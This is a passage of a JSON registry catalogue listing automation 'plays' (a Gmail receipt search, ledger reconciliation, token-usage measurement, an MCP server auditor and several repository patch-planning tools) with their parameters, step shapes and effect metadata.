\"has been charged\" OR \"your payment\" OR \"order confirmation\" OR \"payment received\" OR \"thank you for your purchase\" OR \"your invoice\" OR \"your receipt\" OR \"membership renewal\" OR \"next billing\" OR \"amount charged\" OR billing OR \"your statement\" OR \"renewed your\" OR \"trial ending\" OR \"your subscription\")","description":"Gmail search query (without the date filter) matching candidate receipt/renewal emails."},{"name":"after_date","type":"string","required":true,"description":"Gmail date filter cutoff in YYYY/MM/DD format, e.g. 6 months (180 days) before today. Messages before this date are excluded."},{"name":"max_results","type":"string","required":false,"default":"200","description":"Maximum number of candidate messages to list (Gmail API maxResults, as a string)."},{"name":"gmail_account_scope","type":"string","required":false,"default":"","description":"Gmail account to scope results to; excludes receipts whose body explicitly names a different account/email (e.g. a family member's subscription billed through your inbox). Leave blank (default) to auto-scope to the currently authenticated Gmail account. Pass \"none\" to disable scoping and include all accounts."}],"execution":{"adapters":[{"id":"shashankinguva/gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"gmail-api","name":"gmail-api","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:13dcd3e085a9c4d71d4385c7069604ee2a43d23d125c1f7a77171d6d3071ea72","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":3,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":4,"width":2,"fan_out":1,"for_each_steps":1,"complexity":10,"apis":[{"adapter":"gmail-api","steps":4,"methods":["gmail.users.getProfile","gmail.users.messages.get","gmail.users.messages.list"],"display_name":"gmail-api","host":"gmail.googleapis.com","kind":"rest","tools":66,"fingerprint":"mcp_PhLfwGhVQruqiYd4xenSWFzWQDa","source":"shashankinguva/gmail-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":66},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/yash/ai-suspense-account-reconciliation@0.0.2","reference":"yash/ai-suspense-account-reconciliation@0.0.2","uri":"https://play.modiqo.ai/yash/ai-suspense-account-reconciliation@0.0.2","manifest_uri":"https://play.modiqo.ai/yash/ai-suspense-account-reconciliation@0.0.2","name":"ai-suspense-account-reconciliation","title":"ai-suspense-account-reconciliation","description":"Investigate suspense ledger transactions against bank statement, party ledgers, and invoice/receipt records; recommend the most likely correct ledger with evidence and confidence; never auto-post; emit an approval-ready reconciliation report of resolved, ambiguous, and unresolved items.","owner":{"kind":"user","slug":"yash"},"registry_organization":"yash","tags":["accounting","reconciliation","suspense","ledger","finance","approval"],"primary_domain":"domain-uncategorized","author":"Yashtulshi","version":"0.0.2","published_at":"2026-09-05T11:32:40.63514+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":20870,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["investigate_suspense"]},"parameters":[{"name":"suspense_path","type":"string","required":true,"description":"Absolute path to suspense ledger CSV or XLSX","example":"/abs/path/suspense_ledger.xlsx"},{"name":"bank_path","type":"string","required":true,"description":"Absolute path to bank statement CSV or XLSX","example":"/abs/path/bank_statement.csv"},{"name":"party_ledgers_dir","type":"string","required":true,"description":"Directory containing customer and vendor ledger CSV/XLSX files only. Do not include the bank statement, suspense ledger, invoices, or receipts here.","example":"/abs/path/party_ledgers"},{"name":"documents_dir","type":"string","required":true,"description":"Directory containing invoice and receipt CSV/XLSX files only. Do not include the bank statement, suspense ledger, customer ledger, or vendor ledger here.","example":"/abs/path/documents"},{"name":"output_path","type":"string","required":true,"description":"Absolute path for the approval-ready markdown report","example":"/tmp/suspense-reconciliation-report.md"},{"name":"json_output_path","type":"string","required":true,"description":"Absolute path for the structured JSON report","example":"/tmp/suspense-reconciliation-report.json"},{"name":"amount_tolerance","type":"string","required":false,"default":"0.01","description":"Absolute amount match tolerance","example":"0.01"},{"name":"date_window_days","type":"string","required":false,"default":"3","description":"Maximum day gap for date matching","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:449e1ab88623ddec08cb5217a1144497f09b6439f2107934e80c4a600beeaf95","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/tokens-saved@0.1.2","reference":"dezloper/tokens-saved@0.1.2","uri":"https://play.modiqo.ai/dezloper/tokens-saved@0.1.2","manifest_uri":"https://play.modiqo.ai/dezloper/tokens-saved@0.1.2","name":"tokens-saved","title":"tokens-saved","description":"Shows real, measured token numbers -- never a fabricated \"tokens saved\" figure. Two hard facts: (1) prompt-cache savings across every real Claude Code session on this machine -- cache_read_input_tokens is tokens that were served from cache instead of freshly reprocessed, a directly measured number, no guessing; (2) the real token cost of what every rote play-run workspace's own steps processed internally (from rote's own archive, read via the duckdb Python package against the parquet files directly -- no DuckDB CLI required), broken down per play with call/run counts so it is never mistaken for a single-run cost. On top of those two measured facts it shows a live compression example: how many raw tokens THIS play's own steps just processed, versus how few tokens its own final human-readable report actually costs to read -- a genuine, reproducible, measured ratio computed fresh every run, not a historical claim. An AI narrates what the numbers mean in plain words, but is explicitly told never to invent or estimate a number that is not already measured. If no archived play-run data exists yet, it says so plainly and tells you to run `rote archive --all` first, rather than making anything up.","owner":{"kind":"user","slug":"dezloper"},"registry_organization":"dezloper","tags":["domain-engineering","engineering-workflows","audience-developers","effect-read-only","job-token-analytics"],"primary_domain":"domain-engineering","author":"rote clean-room authoring","version":"0.1.2","published_at":"2026-09-05T11:31:10.485651+00:00","visibility":"public","quality_score":1,"size_bytes":10595,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["narrate","survey_assistant","measure_cache_savings","measure_play_archive_cost"]},"parameters":[{"name":"timeout_seconds","type":"string","required":false,"default":"120","description":"Wall-clock budget for the assistant to narrate the already-measured numbers."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3a8c9bdf41c64ca28940ffd7dad16a7c54bdcf2bffb2f3f5295c7b217736b068","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/yashdedhia05/audit-mcp-server@0.3.1","reference":"yashdedhia05/audit-mcp-server@0.3.1","uri":"https://play.modiqo.ai/yashdedhia05/audit-mcp-server@0.3.1","manifest_uri":"https://play.modiqo.ai/yashdedhia05/audit-mcp-server@0.3.1","name":"audit-mcp-server","title":"audit-mcp-server","description":"Audit an MCP server over stdio. Inspects tools and resources, runs safe functional and security probes, flags schema risks, and generates local audit reports. Potentially state-changing tools are skipped by default.","owner":{"kind":"user","slug":"yashdedhia05"},"registry_organization":"yashdedhia05","tags":["mcp","testing","security","developer-tools","read-only"],"primary_domain":"domain-uncategorized","author":"yashdedhia05","version":"0.3.1","published_at":"2026-09-05T11:18:21.307869+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":464410,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["run_audit"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:682fb32f354db5578b0587a81431cf0be8646286bdc78cc6d0c14aa2da17ecfc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/sakshamsai26/todo-debt-resolver@0.21.21","reference":"sakshamsai26/todo-debt-resolver@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/todo-debt-resolver@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/todo-debt-resolver@0.21.21","name":"todo-debt-resolver","title":"todo-debt-resolver","description":"Reconstructs the intent of a specified TODO or FIXME and writes an evidence-backed implementation patch plan with tests when repository evidence is sufficient.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:18:20.19637+00:00","visibility":"public","quality_score":1,"size_bytes":6505,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:07fc92321705abaad04ffc81cbf138674a7af71a617739e9b4a64ed28cffeb60","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":["[object Object]"],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/feature-flag-retirement-crew@0.21.21","reference":"sakshamsai26/feature-flag-retirement-crew@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/feature-flag-retirement-crew@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/feature-flag-retirement-crew@0.21.21","name":"feature-flag-retirement-crew","title":"feature-flag-retirement-crew","description":"Traces a decided feature flag through configuration, branches, tests, and docs, then writes a safe retirement patch plan and verification artifact.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:18:12.052224+00:00","visibility":"public","quality_score":1,"size_bytes":6501,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:791480635dfca1f1746a915a0780aa5b7b2a42317c23093341530295a70cc0cc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":["[object Object]"],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/dead-code-cleanup-crew@0.21.21","reference":"sakshamsai26/dead-code-cleanup-crew@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/dead-code-cleanup-crew@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/dead-code-cleanup-crew@0.21.21","name":"dead-code-cleanup-crew","title":"dead-code-cleanup-crew","description":"Finds high-confidence unused artifacts through bounded reference analysis and writes a conservative cleanup patch plan, deletion manifest, and verification artifact.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:17:35.672814+00:00","visibility":"public","quality_score":1,"size_bytes":6490,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2c7b3fa58b2e6baf556062109b3a628d20022c2246fd3a754ae37867b015a75e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":["[object Object]"],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/dependency-migration-factory@0.21.21","reference":"sakshamsai26/dependency-migration-factory@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/dependency-migration-factory@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/dependency-migration-factory@0.21.21","name":"dependency-migration-factory","title":"dependency-migration-factory","description":"Maps a library migration across a repository and writes a convention-preserving multi-file migration patch plan with tests and verification artifacts.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:17:26.391514+00:00","visibility":"public","quality_score":1,"size_bytes":6490,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8978cfc6e0d307ac509e4ef9f2ede4debc925da2a3de6f896d7b1ddb2df61486","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":["[object Object]"],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/dependency-removal-surgeon@0.21.21","reference":"sakshamsai26/dependency-removal-surgeon@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/dependency-removal-surgeon@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/dependency-removal-surgeon@0.21.21","name":"dependency-removal-surgeon","title":"dependency-removal-surgeon","description":"Maps a named dependency across imports, wrappers, configuration, manifests, tests, and docs, then writes a safe removal patch plan and verification artifact.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:17:03.654796+00:00","visibility":"public","quality_score":1,"size_bytes":6492,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:29980dfce0a0066a147e380a1e37646079bd9172c52294914ab534180aa55d34","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":["[object Object]"],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/merge-conflict-surgeon@0.21.21","reference":"sakshamsai26/merge-conflict-surgeon@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/merge-conflict-surgeon@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/merge-conflict-surgeon@0.21.21","name":"merge-conflict-surgeon","title":"merge-conflict-surgeon","description":"Analyzes competing merge-conflict intentions using bounded local evidence and writes a proposed resolution patch plus consistency-check artifact.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:16:59.964078+00:00","visibility":"public","quality_score":1,"size_bytes":6425,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c4bd46bab8dee45d988b0a5ed1cf03e0c5cd5a8a0342d606391e88be7575ed26","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/fresh-clone-rescue@0.21.21","reference":"sakshamsai26/fresh-clone-rescue@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/fresh-clone-rescue@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/fresh-clone-rescue@0.21.21","name":"fresh-clone-rescue","title":"fresh-clone-rescue","description":"Audits fresh-clone setup contracts across manifests, environment examples, scripts, Docker, and docs, then writes safe setup fixes and onboarding artifacts.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:16:56.258185+00:00","visibility":"public","quality_score":1,"size_bytes":6433,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8ee3b6e1ec4dff1346baa278f2df486b33b06f750c13f8b1cc4c753a9bca11f7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/bug-fix-workbench@0.21.21","reference":"sakshamsai26/bug-fix-workbench@0.21.21","uri":"https://play.modiqo.ai/sakshamsai26/bug-fix-workbench@0.21.21","manifest_uri":"https://play.modiqo.ai/sakshamsai26/bug-fix-workbench@0.21.21","name":"bug-fix-workbench","title":"bug-fix-workbench","description":"Investigates a supplied bug report using bounded repository evidence, forms competing hypotheses, prepares a minimal patch and regression-test plan, and writes safe run-owned patch artifacts without mutating the source repository.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.21.21","published_at":"2026-09-05T11:16:21.375546+00:00","visibility":"public","quality_score":1,"size_bytes":6454,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":12,"names":["boundary","classify","inventory","preflight","hypotheses","patch_plan","investigate","write_report","parallel_targets","parallel_evidence","verification_plan","regression_test_plan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local repository you are authorized to inspect. The Play scans a bounded set of text files only."},{"name":"bug_description","type":"string","required":true,"description":"Concise observed behavior, expected behavior, and relevant user action if known. Do not include credentials or private customer data."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0affd0e3b68373faabcf801e58f41f5a1705cf525b6ec6624b8a251650fe3001","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":7,"fan_out":8,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dezloper/dead-weight@0.1.0","reference":"dezloper/dead-weight@0.1.0","uri":"https://play.modiqo.ai/dezloper/dead-weight@0.1.0","manifest_uri":"https://play.modiqo.ai/dezloper/dead-weight@0.1.0","name":"dead-weight","title":"dead-weight","description":"Finds the dependencies you can delete and the ones you forgot to declare, in any project, in any language. It auto-detects every ecosystem present, so it works on a polyglot monorepo in one run: JavaScript and TypeScript (the knip and depcheck job), Rust (the cargo-machete text scan, with the crate hyphen-to-underscore rename), Python (the deptry approach, mapping PyPI names like PyYAML to import names like yaml), Go (direct requires in go.mod versus import paths), 